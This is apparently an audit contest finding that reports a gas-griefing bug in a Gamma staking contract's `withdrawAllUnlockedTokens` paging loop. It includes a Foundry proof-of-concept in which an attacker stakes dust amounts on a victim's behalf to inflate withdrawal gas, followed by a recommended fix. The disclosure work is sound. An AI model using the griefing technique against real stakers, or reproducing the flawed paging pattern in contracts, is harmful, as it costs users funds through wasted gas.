Slow Sand Monkey

medium

# Malicious actor can gas grief stakers withdrawing using `withdrawAllUnlockedTokens` due to excess size of retrieved `lockBals` when paging

## Summary
A malicious actor can gas grief stakers withdrawing using `withdrawAllUnlockedTokens` due to excessive page size used.

## Vulnerability Detail
https://github.com/sherlock-audit/2024-05-gamma-staking/blob/703fd3604069489937037f20490ec8c492c0508e/StakingV2/src/Lock.sol#L415-L426
```solidity
        while (limit < lockCount) {
            LockedBalance[] memory lockedBals = locklist.getLocks(msg.sender, page, lockCount); // Retrieves a page of locks for the user.
            for (uint256 i = 0; i < lockedBals.length; i++) {
                if (lockedBals[i].unlockTime != 0 && lockedBals[i].unlockTime < block.timestamp) {
                    totalUnlocked += lockedBals[i].amount; // Adds up the amount from all unlocked balances.
                    locklist.removeFromList(msg.sender, lockedBals[i].lockId); // Removes the lock from the list.
                }
            }

            limit += 10; // Moves to the next page of locks.
            page++;
        }
```
The root cause is in `withdrawAllUnlockedTokens` in `locklist.getLocks` (main logic above). It intends to retrieve all existing locks for the user in 'pages' (batches of some fixed size) and record the withdrawable amount the locks in these 'pages'. The issue is `lockCount` is passed in as the `limit` parameter which determines the size of each 'page'. Consequently, while the loop persists, we continually retrieve a 'page' sized to contain **all** initially existing locks and iterate over each one checking withdrawability. Withdrawable locks won't be reprocessed after being removed, but other locks will be continually retrieved in each iteration.

This can facilitate a significant gas cost (esp. on mainnet) which can be amplified by malicious actors creating a large number of small stakes on behalf of a staker calling `withdrawAllUnlockedTokens`, increasing `lockCount`.

<details>
<summary>PoC</summary>

```solidity
pragma solidity 0.8.23;

import "forge-std/Test.sol";
import "./Setup.sol";
import "forge-std/console.sol";

contract Playground is Test, Setup {
    function testGrief() public {
        vm.startPrank(user2);
        // withdraw without griefing
        lock.stake(100e18, user2, 0);
        lock.exitLateById(0);

        vm.warp(block.timestamp + lockPeriod[0] + 1);

        uint256 startGas = gasleft();
        lock.withdrawAllUnlockedToken();
        console.log("Gas used to withdraw normally:", startGas - gasleft());

        // withdraw with griefing
        lock.stake(100e18, user2, 0);
        lock.exitLateById(1);

        vm.warp(block.timestamp + lockPeriod[0] + 1);

        vm.stopPrank();

        // user1 (attacker) frontruns user2 when they try to withdraw all staked tokens
        vm.startPrank(user1);
        for (uint256 i = 0; i < 40; ++i)
            lock.stake(1, user2, 0);
        vm.stopPrank();

        vm.startPrank(user2);
        startGas = gasleft();
        lock.withdrawAllUnlockedToken();
        console.log("Gas used to withdraw griefed:", startGas - gasleft());
        vm.stopPrank();
    }
}
```
</details>

```terminal
[PASS] testGrief() (gas: 8001941)
Logs:
  Gas used to withdraw normally: 41342
  Gas used to withdraw griefed: 375358
```

## Impact
Gas griefing of stakers which withdraw using `withdrawAllUnlockedTokens`, possibly over multiple withdrawals if not noticed.

## Code Snippet
https://github.com/sherlock-audit/2024-05-gamma-staking/blob/703fd3604069489937037f20490ec8c492c0508e/StakingV2/src/Lock.sol#L415-L426

## Tool used

Manual Review

## Recommendation
Pass `limit=10` rather than `limit=lockCount` for `locklist.getLocks` in `withdrawAllUnlockedTokens`, or make it a parameter the caller can choose (`limit` will need to be increased the same amount per iteration). Also consider disallowing staking on behalf of others.
